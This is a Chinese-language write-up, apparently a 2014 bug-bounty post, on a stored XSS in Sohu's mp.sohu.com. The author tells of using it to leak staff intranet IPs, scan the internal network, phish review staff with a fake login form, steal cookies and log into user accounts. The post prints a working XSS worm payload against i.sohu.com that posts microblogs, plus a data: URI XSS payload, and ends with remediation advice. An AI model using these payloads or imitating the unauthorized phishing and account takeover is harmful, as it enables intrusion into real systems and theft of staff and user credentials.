通过一个XSS探测搜狐内网扫描内网并且蠕动到前台(附带POC)
2014-11-08 21:16:47   来源：互联网   评论：0 点击：

首先漏洞存在点是在这里：mp.sohu.com

注册账号通过审核后即可发表文章，发表文章的正文没做危险字符的过滤！（只过滤 script）

本身只想测试下正文看是否存在 XSS 没想到后台审核的时候也没过滤！上图一张：
 

可以看到 UA 是 Chrome30.0 (这对我们xsser 是很好的，后面你就会知道！)

Cookie 的话应该是做了 httponly

URL 的话是 http://mp.sohuno.com

访问一下结果发现访问不了，那么猜测应该是内网地址（为什么不是墙外呢，因为我装了红杏可以自动翻墙的肯定不是墙外）

那么是内网地址的话我们就放弃了么。No 看到 Chrome30的 UA 我就邪恶了。

于是开始获得内网 IP 先看看在哪个段（这里是获取员工IP 段）：
 

由于时间过长，原图没有了 这是我记录在笔记里的！

那么我是如何获得到的呢，附上 POC！要拿的请手打，锻炼下手打的能力！
 

这是利用 WEBRTC来获得的，在@hi_heige 的 PPT 里曾讲到过！支持 CHROME FF OP 等

获得到 IP 后发送到我自己的服务器，然后我来接受并保存！

过了一会我便得到了员工内网 IP，在这个时候另一个好消息传来。。。

是什么呢，Webserver 的内网 IP 也来了 看图：
 

通过两张图一比对就知道是同一套系统一个通过域名访问一个通过内网 IP 访问罢了！

在这里不仅告诉了我们内网 WebServer的 IP 地址 还告诉了我们一个8087端口。

好，到了这里我们就要开始扫描内网了，先上 POC 吧：
 

这个代码的运行流程是这样：先传递一个 IP 进去，然后就自动给你生成255个 IP，然后分别把这些 IP跟你要检测的端口传递给ElementCreate函数，然后ElementCreate开始在 dom 创建标签！然后利用 script 标签的特性，如果一个 ip 地址以及端口存在那么就会激活 onload 函数，onload 函数就会把 ip 跟端口发过来！

先看看程序运行后是怎样的：
 

然后我们来看看最后得到的结果是怎样的：
 

可以看到非常多的 ip，但是这样看特别不友好，于是我便整理了下 另外再去掉重复，最后的结果如下：
 

可以看到有27个结果还是去了重复后的，另外我只扫了80 8080 8087！

在这里说句题外话，其实可以扫21的 还可以利用 chrome 的伪协议来扫22不过在目前来说，都会弹出窗口会被发现！比如<script src=ftp://192.168.1.1 onload=alert(1)></script>

这样首先会弹出来 ftp 的登录窗口，你点击取消或者登录后，就会触发 onload (前提是开了 ftp 21端口)；



到这一步获得了开放哪些端口的服务器，我下一步我并没有直接去对那些服务器去检测 st2的漏洞。因为自己太懒没整理 poc，也因为路径太难猜几率很小！



于是我就去看看后台还有哪些功能，看是否存在注射跟 getshell，看下面的组图：

这个就是审核界面了：
 

然后查看源码发现了我的 XSS代码：
 

素材审核：
 

密码修改界面：
 

内容审核管理：
 

登录界面（本身想拿到界面后钓鱼的，结果也是因为钓鱼被发现了）：
 

审核主页面：
 

审核记录（审核人那里也获取到了很多用户名）：
 

搜索界面（本身想拿到搜索界面，然后检测下看搜索存不存在注入的）：
 

敏感词管理（本想添加个测试下注入的，但是怕篡改数据就没测试）：
 

注入检测1（没加单引号页面正常）：
 

注册检测2（加了单引号出错，但是高兴坏我了 结果不存在注入）：
 

后面 and 1=1 and 1=2的图就不发了 懒得截 都是系统运行出错！



注入点没找到，后台逛了一圈 Getshell 点也没找到。

现在我就有点沉不住气了，我就去钓鱼，想钓几个账号后发乌云 然后这次测试就结束！

结果，钓鱼的时候被管理员发现了然后我就被封号了，先来看下我钓鱼的代码！
 

看起来非常的杂乱，大概功能是这样 伪造出一个登录界面，然后输入账号密码 就会通过方式发送到我服务器！但是我没做判断，比如只出现一次，因为我想着后台审核员比较多，我想多钓点，然后点击登陆后又出现 点登录又出现，估计是这样被发现的！

希望大家以后遇到这种情况能沉住气，别跟我一样！



后台的讲完了 我们来说说前台吧！

发个新闻审核完后，就会在 mt.sohu.com 下生成一篇文章，同样会把 xss 代码给带来！

由于源码图截取不到了，我就截下拿到的 cookie 把！
 

可以看到有几个 mt.sohu.com 的！

然后我还登录上去了几个账号：
 

当时想着这个 xss 能影响前台我就想蠕虫一把！

然后就去找了个 i.sohu.com 搜狐微博的反射型 XSS（反正我存储型在这了，反射也能无交互悄无声息的用了）



由于浏览器也拦截 iframe 里面的 src（如果带有 xss 的话）。

于是就有了两种版本一种是 chrome bypass 一种是 FF 的

代码如下：
 

	if(window.chrome){

	var ifr = document.createElement('iframe');

	ifr.src="http://i.sohu.com/a/home/user-app/get?callback=%3Clink%20rel=import%20href=%27?callback=%3Cscript%3Efunction%20SendWeiBo%28a,b%29{var%20c;c=window.XMLHttpRequest?new%20XMLHttpRequest:new%20ActiveXObject%28%22Microsoft.XMLHTTP%22%29,c.open%28%22POST%22,a,!0%29,c.setRequestHeader%28%22Content-Type%22,%22application/x-www-form-urlencoded%22%29,c.send%28b%29}SendWeiBo%28%22http://i.sohu.com/a/app/mblog/save.htm?_input_encode=UTF-8%22,%22content=0x_Jin%26type=0%26from=sentence%26url=%22%29;%3C/script%3E%27%3E";

	document.body.appendChild(ifr);

}

else{

	var ifr = document.createElement('iframe');

	ifr.src="http://i.sohu.com/a/home/user-app/get?callback=%3Cscript%3Efunction%20SendWeiBo%28a,b%29{var%20c;c=window.XMLHttpRequest?new%20XMLHttpRequest:new%20ActiveXObject%28%22Microsoft.XMLHTTP%22%29,c.open%28%22POST%22,a,!0%29,c.setRequestHeader%28%22Content-Type%22,%22application/x-www-form-urlencoded%22%29,c.send%28b%29}SendWeiBo%28%22http://i.sohu.com/a/app/mblog/save.htm?_input_encode=UTF-8%22,%22content=0x_Jin%26type=0%26from=sentence%26url=%22%29;%3C/script%3E";

	document.body.appendChild(ifr);

}

在js里放至这段代码，然后插入到网页里去，便会在自己的 sohu 微博发布一条微博：0x_Jin

Chrome Bypass：

http://parsec.me/13.html

我用的这个方法来 bypass 的 感谢@/fd 大牛的帮助！



由于在返回头中预设了字符集，就不用用字符集来 BypassIE,要不然通杀！



再来说说那个 i.sohu.com 的反射型 XSS：

造成 XSS 的问题是 type 设置不当 设置成了 text/html又没做任何过滤，就造成了 XSS 成为我蠕虫的帮手。

不过最后，没有去尝试蠕虫。。点到为止就好了，感觉再深挖点应该可以再挖出个反射型 XSS 点可以 bypass IE！

知道现在，测试结束了，已失败告终，失败的原因是我没沉住气 去钓审核员的账号密码了！

不过这次经历也让我学会了蛮多！

感谢@Mramydnei 给予我 VPS 的赞助 @/fd 给予我POC 编写方面的帮助！

希望能给个精华。。。纯手打

PS：后台页面很多都没设置字符集，而审核员又是使用的现代浏览器。会造成什么问题就不说了，以后会见到案例的！

另外 mp.sohu.com 在添加广告连接处 存在 xss 在正文添加超链接处存在 xss

payload: data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==



反正问题蛮多的，就当免费给你们做了次前端的漏洞挖掘吧！csrf的还没测试 应该存在

修复方案：

1.后台方面：

首先是过滤特殊字符，第二个就是给页面都统一设定上字符集，我看了有的设了有的没设！第三个就是 a 标签的 href 做下检测如果没带协议名就在最前面强制加上

2.前台方面：

前台也设置上 httponly 也要过滤危险字符！

3.sohu 微博：

过滤危险字符，设置正确的 Type 类型



不要以为把后台放在内网就安全咯，等我 xss-proxy 写完了照样可以进后台了！